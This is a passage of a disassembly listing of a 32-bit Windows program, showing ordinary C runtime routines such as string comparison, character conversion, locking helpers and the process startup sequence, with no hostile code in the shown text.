inc edi
dec eax
jz short loc_41E4DA
loc_41E4BD: ; CODE XREF: sub_41E490+20j
; sub_41E490+48j
mov cl, [esi]
mov dl, [edi]
cmp cl, dl
jnz short loc_41E50A
mov cl, [esi+1]
mov dl, [edi+1]
cmp cl, dl
jnz short loc_41E50A
add edi, 2
add esi, 2
sub eax, 2
jnz short loc_41E4BD
loc_41E4DA: ; CODE XREF: sub_41E490+2Bj
; sub_41E490+84j
pop edi
pop esi
locret_41E4DC: ; CODE XREF: sub_41E490+6j
retn
; ---------------------------------------------------------------------------
loc_41E4DD: ; CODE XREF: sub_41E490+19j
mov ecx, eax
and eax, 3
shr ecx, 2
jz short loc_41E512
repe cmpsd
jz short loc_41E512
mov ecx, [esi-4]
mov edx, [edi-4]
cmp cl, dl
jnz short loc_41E505
cmp ch, dh
jnz short loc_41E505
shr ecx, 10h
shr edx, 10h
cmp cl, dl
jnz short loc_41E505
cmp ch, dh
loc_41E505: ; CODE XREF: sub_41E490+63j
; sub_41E490+67j ...
mov eax, 0
loc_41E50A: ; CODE XREF: sub_41E490+26j
; sub_41E490+33j ...
sbb eax, eax
pop edi
sbb eax, 0FFFFFFFFh
pop esi
retn
; ---------------------------------------------------------------------------
loc_41E512: ; CODE XREF: sub_41E490+55j
; sub_41E490+59j
test eax, eax
jz short loc_41E4DA
mov edx, [esi]
mov ecx, [edi]
cmp dl, cl
jnz short loc_41E505
dec eax
jz short loc_41E539
cmp dh, ch
jnz short loc_41E505
dec eax
jz short loc_41E539
and ecx, 0FF0000h
and edx, 0FF0000h
cmp edx, ecx
jnz short loc_41E505
dec eax
loc_41E539: ; CODE XREF: sub_41E490+8Fj
; sub_41E490+96j
pop edi
pop esi
retn
sub_41E490 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
mov eax, [ebp+8]
add eax, 20h
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41E550 proc near ; CODE XREF: sub_415DE8+6p
; sub_415E06+4Ap ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
cmp dword_4EF974, 0
jnz short loc_41E577
cmp [ebp+arg_0], 41h
jl short loc_41E572
cmp [ebp+arg_0], 5Ah
jg short loc_41E572
mov eax, [ebp+arg_0]
add eax, 20h
mov [ebp+arg_0], eax
loc_41E572: ; CODE XREF: sub_41E550+11j
; sub_41E550+17j
mov eax, [ebp+arg_0]
jmp short loc_41E5DF
; ---------------------------------------------------------------------------
loc_41E577: ; CODE XREF: sub_41E550+Bj
push offset dword_4EFD48
call dword_4F1454 ; InterlockedIncrement
cmp dword_4EFD44, 0
jz short loc_41E5A9
push offset dword_4EFD48
call dword_4F1450 ; InterlockedDecrement
push 13h
call sub_41FB40
add esp, 4
mov [ebp+var_4], 1
jmp short loc_41E5B0
; ---------------------------------------------------------------------------
loc_41E5A9: ; CODE XREF: sub_41E550+39j
mov [ebp+var_4], 0
loc_41E5B0: ; CODE XREF: sub_41E550+57j
mov ecx, [ebp+arg_0]
push ecx
call sub_41E5F0
add esp, 4
mov [ebp+arg_0], eax
cmp [ebp+var_4], 0
jz short loc_41E5D1
push 13h
call sub_41FBE0
add esp, 4
jmp short loc_41E5DC
; ---------------------------------------------------------------------------
loc_41E5D1: ; CODE XREF: sub_41E550+73j
push offset dword_4EFD48
call dword_4F1450 ; InterlockedDecrement
loc_41E5DC: ; CODE XREF: sub_41E550+7Fj
mov eax, [ebp+arg_0]
loc_41E5DF: ; CODE XREF: sub_41E550+25j
mov esp, ebp
pop ebp
retn
sub_41E550 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41E5F0 proc near ; CODE XREF: sub_41DBF0+94p
; sub_41DBF0+9Ep ...
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = byte ptr -8
var_7 = byte ptr -7
var_6 = byte ptr -6
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 10h
cmp dword_4EF974, 0
jnz short loc_41E61C
cmp [ebp+arg_0], 41h
jl short loc_41E614
cmp [ebp+arg_0], 5Ah
jg short loc_41E614
mov eax, [ebp+arg_0]
add eax, 20h
mov [ebp+arg_0], eax
loc_41E614: ; CODE XREF: sub_41E5F0+13j
; sub_41E5F0+19j
mov eax, [ebp+arg_0]
jmp loc_41E717
; ---------------------------------------------------------------------------
loc_41E61C: ; CODE XREF: sub_41E5F0+Dj
cmp [ebp+arg_0], 100h
jge short loc_41E663
cmp dword_4516A8, 1
jle short loc_41E641
push 1
mov ecx, [ebp+arg_0]
push ecx
call sub_421E50
add esp, 8
mov [ebp+var_10], eax
jmp short loc_41E655
; ---------------------------------------------------------------------------
loc_41E641: ; CODE XREF: sub_41E5F0+3Cj
mov edx, [ebp+arg_0]
mov eax, off_45149C
xor ecx, ecx
mov cx, [eax+edx*2]
and ecx, 1
mov [ebp+var_10], ecx
loc_41E655: ; CODE XREF: sub_41E5F0+4Fj
cmp [ebp+var_10], 0
jnz short loc_41E663
mov eax, [ebp+arg_0]
jmp loc_41E717
; ---------------------------------------------------------------------------
loc_41E663: ; CODE XREF: sub_41E5F0+33j
; sub_41E5F0+69j
mov edx, [ebp+arg_0]
sar edx, 8
and edx, 0FFh
and edx, 0FFh
mov eax, off_45149C
xor ecx, ecx
mov cx, [eax+edx*2]
and ecx, 8000h
test ecx, ecx
jz short loc_41E6AC
mov edx, [ebp+arg_0]
sar edx, 8
and edx, 0FFh
mov [ebp+var_8], dl
mov al, byte ptr [ebp+arg_0]
mov [ebp+var_7], al
mov [ebp+var_6], 0
mov [ebp+var_4], 2
jmp short loc_41E6BD
; ---------------------------------------------------------------------------
loc_41E6AC: ; CODE XREF: sub_41E5F0+98j
mov cl, byte ptr [ebp+arg_0]
mov [ebp+var_8], cl
mov [ebp+var_7], 0
mov [ebp+var_4], 1
loc_41E6BD: ; CODE XREF: sub_41E5F0+BAj
push 1
push 0
push 3
lea edx, [ebp+var_C]
push edx
mov eax, [ebp+var_4]
push eax
lea ecx, [ebp+var_8]
push ecx
push 100h
mov edx, dword_4EF974
push edx
call sub_429750
add esp, 20h
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jnz short loc_41E6F1
mov eax, [ebp+arg_0]
jmp short loc_41E717
; ---------------------------------------------------------------------------
loc_41E6F1: ; CODE XREF: sub_41E5F0+FAj
cmp [ebp+var_4], 1
jnz short loc_41E701
mov eax, [ebp+var_C]
and eax, 0FFh
jmp short loc_41E717
; ---------------------------------------------------------------------------
loc_41E701: ; CODE XREF: sub_41E5F0+105j
mov eax, [ebp+var_C]
and eax, 0FFh
mov ecx, [ebp+var_C+1]
and ecx, 0FFh
shl ecx, 8
or eax, ecx
loc_41E717: ; CODE XREF: sub_41E5F0+27j
; sub_41E5F0+6Ej ...
mov esp, ebp
pop ebp
retn
sub_41E5F0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41E720 proc near ; CODE XREF: sub_4164D5+ADp
; sub_4174B4+55p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_0]
mov [ebp+var_4], eax
loc_41E72A: ; CODE XREF: sub_41E720+1Fj
mov ecx, [ebp+var_4]
xor edx, edx
mov dx, [ecx]
mov eax, [ebp+var_4]
add eax, 2
mov [ebp+var_4], eax
test edx, edx
jz short loc_41E741
jmp short loc_41E72A
; ---------------------------------------------------------------------------
loc_41E741: ; CODE XREF: sub_41E720+1Dj
mov eax, [ebp+var_4]
sub eax, [ebp+arg_0]
sar eax, 1
sub eax, 1
mov esp, ebp
pop ebp
retn
sub_41E720 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41E750 proc near ; CODE XREF: sub_4164D5+7Fp
; sub_4164D5+90p ...
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 8
push offset dword_4EFD48
call dword_4F1454 ; InterlockedIncrement
cmp dword_4EFD44, 0
jz short loc_41E788
push offset dword_4EFD48
call dword_4F1450 ; InterlockedDecrement
push 13h
call sub_41FB40
add esp, 4
mov [ebp+var_4], 1
jmp short loc_41E78F
; ---------------------------------------------------------------------------
loc_41E788: ; CODE XREF: sub_41E750+18j
mov [ebp+var_4], 0
loc_41E78F: ; CODE XREF: sub_41E750+36j
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+arg_4]
push ecx
mov edx, [ebp+arg_0]
push edx
call sub_41E7D0
add esp, 0Ch
mov [ebp+var_8], eax
cmp [ebp+var_4], 0
jz short loc_41E7B8
push 13h
call sub_41FBE0
add esp, 4
jmp short loc_41E7C3
; ---------------------------------------------------------------------------
loc_41E7B8: ; CODE XREF: sub_41E750+5Aj
push offset dword_4EFD48
call dword_4F1450 ; InterlockedDecrement
loc_41E7C3: ; CODE XREF: sub_41E750+66j
mov eax, [ebp+var_8]
mov esp, ebp
pop ebp
retn
sub_41E750 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41E7D0 proc near ; CODE XREF: sub_41E750+4Bp
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 10h
push ebx
push esi
push edi
mov [ebp+var_4], 0
cmp [ebp+arg_0], 0
jz short loc_41E7F3
cmp [ebp+arg_8], 0
jnz short loc_41E7F3
xor eax, eax
jmp loc_41E9B4
; ---------------------------------------------------------------------------
loc_41E7F3: ; CODE XREF: sub_41E7D0+14j
; sub_41E7D0+1Aj ...
cmp [ebp+arg_4], 0
jnz short loc_41E817
push offset dword_437D2C
push 0
push 55h
push offset dword_437D20
push 2
call sub_41EED0
add esp, 14h
cmp eax, 1
jnz short loc_41E817
int 3 ; Trap to Debugger
loc_41E817: ; CODE XREF: sub_41E7D0+27j
; sub_41E7D0+44j
xor eax, eax
test eax, eax
jnz short loc_41E7F3
cmp [ebp+arg_0], 0
jz loc_41E966
cmp dword_4EF974, 0
jnz short loc_41E879
loc_41E830: ; CODE XREF: sub_41E7D0+9Fj
mov ecx, [ebp+var_4]
cmp ecx, [ebp+arg_8]
jnb short loc_41E871
mov edx, [ebp+arg_4]
add edx, [ebp+var_4]
movzx ax, byte ptr [edx]
mov ecx, [ebp+arg_0]
mov [ecx], ax
mov edx, [ebp+arg_4]
add edx, [ebp+var_4]
movsx eax, byte ptr [edx]
test eax, eax
jnz short loc_41E85D
mov eax, [ebp+var_4]
jmp loc_41E9B4
; ---------------------------------------------------------------------------
loc_41E85D: ; CODE XREF: sub_41E7D0+83j
mov ecx, [ebp+var_4]
add ecx, 1
mov [ebp+var_4], ecx
mov edx, [ebp+arg_0]
add edx, 2
mov [ebp+arg_0], edx
jmp short loc_41E830
; ---------------------------------------------------------------------------
loc_41E871: ; CODE XREF: sub_41E7D0+66j
mov eax, [ebp+var_4]
jmp loc_41E9B4
; ---------------------------------------------------------------------------
loc_41E879: ; CODE XREF: sub_41E7D0+5Ej
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+arg_0]
push ecx
push 0FFFFFFFFh
mov edx, [ebp+arg_4]
push edx
push 9
mov eax, dword_4EF984
push eax
call dword_4F1420 ; MultiByteToWideChar
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jz short loc_41E8A9
mov eax, [ebp+var_4]
sub eax, 1
jmp loc_41E9B4
; ---------------------------------------------------------------------------
loc_41E8A9: ; CODE XREF: sub_41E7D0+CCj
call dword_4F1348 ; RtlGetLastWin32Error
cmp eax, 7Ah
jz short loc_41E8C7
call sub_4248A0
mov dword ptr [eax], 2Ah
or eax, 0FFFFFFFFh
jmp loc_41E9B4
; ---------------------------------------------------------------------------
loc_41E8C7: ; CODE XREF: sub_41E7D0+E2j
mov ecx, [ebp+arg_8]
mov [ebp+var_10], ecx
mov edx, [ebp+arg_4]
mov [ebp+var_8], edx
jmp short loc_41E8DE
; ---------------------------------------------------------------------------
loc_41E8D5: ; CODE XREF: sub_41E7D0:loc_41E91Fj
mov eax, [ebp+var_8]
add eax, 1
mov [ebp+var_8], eax
loc_41E8DE: ; CODE XREF: sub_41E7D0+103j
mov ecx, [ebp+var_10]
mov edx, [ebp+var_10]
sub edx, 1
mov [ebp+var_10], edx
test ecx, ecx
jz short loc_41E921
mov eax, [ebp+var_8]
xor ecx, ecx
mov cl, [eax]
test ecx, ecx
jz short loc_41E921
mov edx, [ebp+var_8]
xor eax, eax
mov al, [edx]
mov ecx, off_45149C
xor edx, edx
mov dx, [ecx+eax*2]
and edx, 8000h
test edx, edx
jz short loc_41E91F
mov eax, [ebp+var_8]
add eax, 1
mov [ebp+var_8], eax
loc_41E91F: ; CODE XREF: sub_41E7D0+144j
jmp short loc_41E8D5
; ---------------------------------------------------------------------------
loc_41E921: ; CODE XREF: sub_41E7D0+11Cj
; sub_41E7D0+127j
mov ecx, [ebp+var_8]
sub ecx, [ebp+arg_4]
mov [ebp+var_C], ecx
mov edx, [ebp+arg_8]
push edx
mov eax, [ebp+arg_0]
push eax
mov ecx, [ebp+var_C]
push ecx
mov edx, [ebp+arg_4]
push edx
push 1
mov eax, dword_4EF984
push eax
call dword_4F1420 ; MultiByteToWideChar
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jnz short loc_41E961
call sub_4248A0
mov dword ptr [eax], 2Ah
or eax, 0FFFFFFFFh
jmp short loc_41E9B4
; ---------------------------------------------------------------------------
loc_41E961: ; CODE XREF: sub_41E7D0+17Fj
mov eax, [ebp+var_4]
jmp short loc_41E9B4
; ---------------------------------------------------------------------------
loc_41E966: ; CODE XREF: sub_41E7D0+51j
cmp dword_4EF974, 0
jnz short loc_41E97D
mov ecx, [ebp+arg_4]
push ecx
call sub_418D00
add esp, 4
jmp short loc_41E9B4
; ---------------------------------------------------------------------------
loc_41E97D: ; CODE XREF: sub_41E7D0+19Dj
push 0
push 0
push 0FFFFFFFFh
mov edx, [ebp+arg_4]
push edx
push 9
mov eax, dword_4EF984
push eax
call dword_4F1420 ; MultiByteToWideChar
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jnz short loc_41E9AE
call sub_4248A0
mov dword ptr [eax], 2Ah
or eax, 0FFFFFFFFh
jmp short loc_41E9B4
; ---------------------------------------------------------------------------
loc_41E9AE: ; CODE XREF: sub_41E7D0+1CCj
mov eax, [ebp+var_4]
sub eax, 1
loc_41E9B4: ; CODE XREF: sub_41E7D0+1Ej
; sub_41E7D0+88j ...
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_41E7D0 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_437D38
push offset sub_42A9E4
mov eax, large fs:0
push eax
mov large fs:0, esp
add esp, 0FFFFFFA4h
push ebx
push esi
push edi
mov [ebp-18h], esp
call dword_4F1460 ; GetVersion
mov dword_4EF87C, eax
mov eax, dword_4EF87C
shr eax, 8
and eax, 0FFh
mov dword_4EF888, eax
mov ecx, dword_4EF87C
and ecx, 0FFh
mov dword_4EF884, ecx
mov edx, dword_4EF884
shl edx, 8
add edx, dword_4EF888
mov dword_4EF880, edx
mov eax, dword_4EF87C
shr eax, 10h
and eax, 0FFFFh
mov dword_4EF87C, eax
push 1
call sub_4200C0
add esp, 4
test eax, eax
jnz short loc_41EA54
push 1Ch
call sub_41EB60
add esp, 4
loc_41EA54: ; CODE XREF: .nsp0:0041EA48j
call sub_423C10
test eax, eax
jnz short loc_41EA67
push 10h
call sub_41EB60
add esp, 4
loc_41EA67: ; CODE XREF: .nsp0:0041EA5Bj
mov dword ptr [ebp-4], 0
call sub_42A610
call dword_4F145C ; GetCommandLineA
mov dword_4F0FA4, eax
call sub_42A3F0
mov dword_4EF8E0, eax
call sub_429EE0
call sub_429D90
call sub_41B540
mov dword ptr [ebp-30h], 0
lea ecx, [ebp-5Ch]
push ecx
call dword_4F1458 ; GetStartupInfoA
call sub_429CD0
mov [ebp-64h], eax
mov edx, [ebp-30h]
and edx, 1
test edx, edx
jz short loc_41EAC7
mov eax, [ebp-2Ch]
and eax, 0FFFFh
mov [ebp-6Ch], eax
jmp short loc_41EACE
; ---------------------------------------------------------------------------
loc_41EAC7: ; CODE XREF: .nsp0:0041EAB8j
mov dword ptr [ebp-6Ch], 0Ah
loc_41EACE: ; CODE XREF: .nsp0:0041EAC5j
mov ecx, [ebp-6Ch]
push ecx
mov edx, [ebp-64h]
push edx
push 0
push 0
call dword_4F1358 ; GetModuleHandleA
push eax
call sub_40141B
mov [ebp-60h], eax
mov eax, [ebp-60h]
push eax
call sub_41B580
mov ecx, [ebp-14h]
mov edx, [ecx]
mov eax, [edx]
mov [ebp-68h], eax
mov ecx, [ebp-14h]
push ecx
mov edx, [ebp-68h]
push edx
call sub_429AB0
add esp, 8
retn
; ---------------------------------------------------------------------------
mov esp, [ebp-18h]
mov eax, [ebp-68h]
push eax
call sub_41B5A0
mov ecx, [ebp-10h]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41EB30 proc near ; CODE XREF: sub_41DA10+2Cp
; sub_41EB90+8Dp ...
arg_0 = dword ptr 8
push ebp
mov ebp, esp
cmp dword_4EF8E8, 1
jnz short loc_41EB41
call sub_42AAC0
loc_41EB41: ; CODE XREF: sub_41EB30+Aj
mov eax, [ebp+arg_0]
push eax
call sub_42AB10
add esp, 4
push 0FFh
call off_451120
add esp, 4
pop ebp
retn
sub_41EB30 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41EB60 proc near ; CODE XREF: .nsp0:0041EA4Cp
; .nsp0:0041EA5Fp
arg_0 = dword ptr 8
push ebp
mov ebp, esp
cmp dword_4EF8E8, 1
jnz short loc_41EB71
call sub_42AAC0
loc_41EB71: ; CODE XREF: sub_41EB60+Aj
mov eax, [ebp+arg_0]
push eax
call sub_42AB10
add esp, 4
push 0FFh
call dword_4F1320 ; ExitProcess
pop ebp
retn
sub_41EB60 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41EB90 proc near ; DATA XREF: .nsp0:0043A024o
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
cmp dword_4F0FA0, 0
jnz short loc_41EBA9
mov dword_4F0FA0, 200h
jmp short loc_41EBBC
; ---------------------------------------------------------------------------
loc_41EBA9: ; CODE XREF: sub_41EB90+Bj
cmp dword_4F0FA0, 14h
jge short loc_41EBBC
mov dword_4F0FA0, 14h
loc_41EBBC: ; CODE XREF: sub_41EB90+17j
; sub_41EB90+20j
push 83h
push offset dword_437D44
push 2
push 4
mov eax, dword_4F0FA0
push eax
call sub_419300
add esp, 14h
mov dword_4EFF88, eax
cmp dword_4EFF88, 0
jnz short loc_41EC25
mov dword_4F0FA0, 14h
push 86h
push offset dword_437D44
push 2
push 4
mov ecx, dword_4F0FA0
push ecx
call sub_419300
add esp, 14h
mov dword_4EFF88, eax
cmp dword_4EFF88, 0
jnz short loc_41EC25
push 1Ah
call sub_41EB30
add esp, 4
loc_41EC25: ; CODE XREF: sub_41EB90+54j
; sub_41EB90+89j
mov [ebp+var_4], 0
jmp short loc_41EC37
; ---------------------------------------------------------------------------
loc_41EC2E: ; CODE XREF: sub_41EB90+C4j
mov edx, [ebp+var_4]
add edx, 1
mov [ebp+var_4], edx
loc_41EC37: ; CODE XREF: sub_41EB90+9Cj
cmp [ebp+var_4], 14h
jge short loc_41EC56
mov eax, [ebp+var_4]
shl eax, 5
add eax, offset off_451128
mov ecx, [ebp+var_4]
mov edx, dword_4EFF88
mov [edx+ecx*4], eax
jmp short loc_41EC2E
; ---------------------------------------------------------------------------
loc_41EC56: ; CODE XREF: sub_41EB90+ABj
mov [ebp+var_4], 0
jmp short loc_41EC68
; ---------------------------------------------------------------------------
loc_41EC5F: ; CODE XREF: sub_41EB90:loc_41ECB6j
mov eax, [ebp+var_4]
add eax, 1
mov [ebp+var_4], eax
loc_41EC68: ; CODE XREF: sub_41EB90+CDj
cmp [ebp+var_4], 3
jge short loc_41ECB8
mov ecx, [ebp+var_4]
sar ecx, 5
mov edx, [ebp+var_4]
and edx, 1Fh
imul edx, 24h
mov eax, dword_4EFC40[ecx*4]
cmp dword ptr [eax+edx], 0FFFFFFFFh
jz short loc_41ECA6
mov ecx, [ebp+var_4]
sar ecx, 5
mov edx, [ebp+var_4]
and edx, 1Fh
imul edx, 24h
mov eax, dword_4EFC40[ecx*4]
cmp dword ptr [eax+edx], 0
jnz short loc_41ECB6
loc_41ECA6: ; CODE XREF: sub_41EB90+F8j
mov ecx, [ebp+var_4]
shl ecx, 5
mov dword_451138[ecx], 0FFFFFFFFh
loc_41ECB6: ; CODE XREF: sub_41EB90+114j
jmp short loc_41EC5F
; ---------------------------------------------------------------------------
loc_41ECB8: ; CODE XREF: sub_41EB90+DCj
mov esp, ebp
pop ebp
retn
sub_41EB90 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41ECC0 proc near ; DATA XREF: .nsp0:0043A038o
push ebp
mov ebp, esp
call sub_41F8A0
movsx eax, byte_4EF8B0
test eax, eax
jz short loc_41ECD8
call sub_42AD20
loc_41ECD8: ; CODE XREF: sub_41ECC0+11j
pop ebp
retn
sub_41ECC0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41ECE0 proc near ; CODE XREF: sub_418D80+55p
; sub_41AE60+8p ...
arg_0 = dword ptr 8
push ebp
mov ebp, esp
cmp [ebp+arg_0], offset off_451128
jb short loc_41ED0E
cmp [ebp+arg_0], offset dword_451388
ja short loc_41ED0E
mov eax, [ebp+arg_0]
sub eax, offset off_451128
sar eax, 5
add eax, 1Ch
push eax
call sub_41FB40
add esp, 4
jmp short loc_41ED1B
; ---------------------------------------------------------------------------
loc_41ED0E: ; CODE XREF: sub_41ECE0+Aj
; sub_41ECE0+13j
mov ecx, [ebp+arg_0]
add ecx, 20h
push ecx
call dword_4F1390 ; RtlEnterCriticalSection
loc_41ED1B: ; CODE XREF: sub_41ECE0+2Cj
pop ebp
retn
sub_41ECE0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41ED20 proc near ; CODE XREF: sub_41F8B0+7Ep
; sub_422970+6Fp
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
cmp [ebp+arg_0], 14h
jge short loc_41ED3A
mov eax, [ebp+arg_0]
add eax, 1Ch
push eax
call sub_41FB40
add esp, 4
jmp short loc_41ED47
; ---------------------------------------------------------------------------
loc_41ED3A: ; CODE XREF: sub_41ED20+7j
mov ecx, [ebp+arg_4]
add ecx, 20h
push ecx
call dword_4F1390 ; RtlEnterCriticalSection
loc_41ED47: ; CODE XREF: sub_41ED20+18j
pop ebp
retn
sub_41ED20 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41ED50 proc near ; CODE XREF: sub_418D80+70p
; sub_41AE60+2Fp ...
arg_0 = dword ptr 8
push ebp
mov ebp, esp
cmp [ebp+arg_0], offset off_451128
jb short loc_41ED7E
cmp [ebp+arg_0], offset dword_451388
ja short loc_41ED7E
mov eax, [ebp+arg_0]
sub eax, offset off_451128
sar eax, 5
add eax, 1Ch
push eax
call sub_41FBE0
add esp, 4
jmp short loc_41ED8B
; ---------------------------------------------------------------------------
loc_41ED7E: ; CODE XREF: sub_41ED50+Aj
; sub_41ED50+13j
mov ecx, [ebp+arg_0]
add ecx, 20h
push ecx
call dword_4F138C ; RtlLeaveCriticalSection
loc_41ED8B: ; CODE XREF: sub_41ED50+2Cj
pop ebp
retn
sub_41ED50 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41ED90 proc near ; CODE XREF: sub_41F8B0+116p
; sub_422970+A0p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
cmp [ebp+arg_0], 14h
jge short loc_41EDAA
mov eax, [ebp+arg_0]
add eax, 1Ch
push eax
call sub_41FBE0
add esp, 4
jmp short loc_41EDB7
; ---------------------------------------------------------------------------
loc_41EDAA: ; CODE XREF: sub_41ED90+7j
mov ecx, [ebp+arg_4]
add ecx, 20h
push ecx
call dword_4F138C ; RtlLeaveCriticalSection
loc_41EDB7: ; CODE XREF: sub_41ED90+18j
pop ebp
retn
sub_41ED90 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41EDC0 proc near ; CODE XREF: sub_41EED0+113p
; sub_41F260+33p
push ebp
mov ebp, esp
call dword_4F1464 ; DebugBreak
pop ebp
retn
sub_41EDC0 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push ecx
cmp dword ptr [ebp+8], 0
jl short loc_41EDE0
cmp dword ptr [ebp+8], 3
jl short loc_41EDE5
loc_41EDE0: ; CODE XREF: .nsp0:0041EDD8j
or eax, 0FFFFFFFFh
jmp short loc_41EE23
; ---------------------------------------------------------------------------
loc_41EDE5: ; CODE XREF: .nsp0:0041EDDEj
cmp dword ptr [ebp+0Ch], 0FFFFFFFFh
jnz short loc_41EDF7
mov eax, [ebp+8]
mov eax, dword_4513AC[eax*4]
jmp short loc_41EE23
; ---------------------------------------------------------------------------
loc_41EDF7: ; CODE XREF: .nsp0:0041EDE9j
mov ecx, [ebp+0Ch]
and ecx, 0FFFFFFF8h
test ecx, ecx
jz short loc_41EE06
or eax, 0FFFFFFFFh
jmp short loc_41EE23
; ---------------------------------------------------------------------------
loc_41EE06: ; CODE XREF: .nsp0:0041EDFFj
mov edx, [ebp+8]
mov eax, dword_4513AC[edx*4]
mov [ebp-4], eax
mov ecx, [ebp+8]
mov edx, [ebp+0Ch]
mov dword_4513AC[ecx*4], edx
mov eax, [ebp-4]
loc_41EE23: ; CODE XREF: .nsp0:0041EDE3j
; .nsp0:0041EDF5j ...
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push ecx
cmp dword ptr [ebp+8], 0
jl short loc_41EE40
cmp dword ptr [ebp+8], 3
jl short loc_41EE47
loc_41EE40: ; CODE XREF: .nsp0:0041EE38j
mov eax, 0FFFFFFFEh
jmp short loc_41EEAA
; ---------------------------------------------------------------------------
loc_41EE47: ; CODE XREF: .nsp0:0041EE3Ej
cmp dword ptr [ebp+0Ch], 0FFFFFFFAh
jnz short loc_41EE59
mov eax, [ebp+8]
mov eax, dword_4513B8[eax*4]
jmp short loc_41EEAA
; ---------------------------------------------------------------------------
loc_41EE59: ; CODE XREF: .nsp0:0041EE4Bj
mov ecx, [ebp+8]
mov edx, dword_4513B8[ecx*4]
mov [ebp-4], edx
cmp dword ptr [ebp+0Ch], 0FFFFFFFCh
jnz short loc_41EE80
push 0FFFFFFF5h
call dword_4F1468 ; GetStdHandle
mov ecx, [ebp+8]
mov dword_4513B8[ecx*4], eax
jmp short loc_41EEA7
; ---------------------------------------------------------------------------
loc_41EE80: ; CODE XREF: .nsp0:0041EE6Aj
cmp dword ptr [ebp+0Ch], 0FFFFFFFBh
jnz short loc_41EE9A
push 0FFFFFFF4h
call dword_4F1468 ; GetStdHandle
mov edx, [ebp+8]
mov dword_4513B8[edx*4], eax
jmp short loc_41EEA7
; ---------------------------------------------------------------------------
loc_41EE9A: ; CODE XREF: .nsp0:0041EE84j
mov eax, [ebp+8]
mov ecx, [ebp+0Ch]
mov dword_4513B8[eax*4], ecx
loc_41EEA7: ; CODE XREF: .nsp0:0041EE7Ej
; .nsp0:0041EE98j
mov eax, [ebp-4]
loc_41EEAA: ; CODE XREF: .nsp0:0041EE45j
; .nsp0:0041EE57j
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push ecx
mov eax, dword_4EFF84
mov [ebp-4], eax
mov ecx, [ebp+8]
mov dword_4EFF84, ecx
mov eax, [ebp-4]
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41EED0 proc near ; CODE XREF: sub_418D80+24p
; sub_418E10+2Cp ...
var_302C = dword ptr -302Ch
var_3028 = dword ptr -3028h
var_3024 = byte ptr -3024h
var_3010 = byte ptr -3010h
var_300C = dword ptr -300Ch
var_3008 = byte ptr -3008h
var_3007 = byte ptr -3007h
var_2008 = byte ptr -2008h
var_2007 = byte ptr -2007h
var_1008 = dword ptr -1008h
var_1004 = dword ptr -1004h
var_1000 = byte ptr -1000h
var_FFF = byte ptr -0FFFh
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = byte ptr 1Ch
push ebp
mov ebp, esp
mov eax, 302Ch
call sub_41BC60
push edi
mov [ebp+var_3008], 0
mov ecx, 3FFh
xor eax, eax
lea edi, [ebp+var_3007]
rep stosd
stosw
stosb
mov [ebp+var_2008], 0
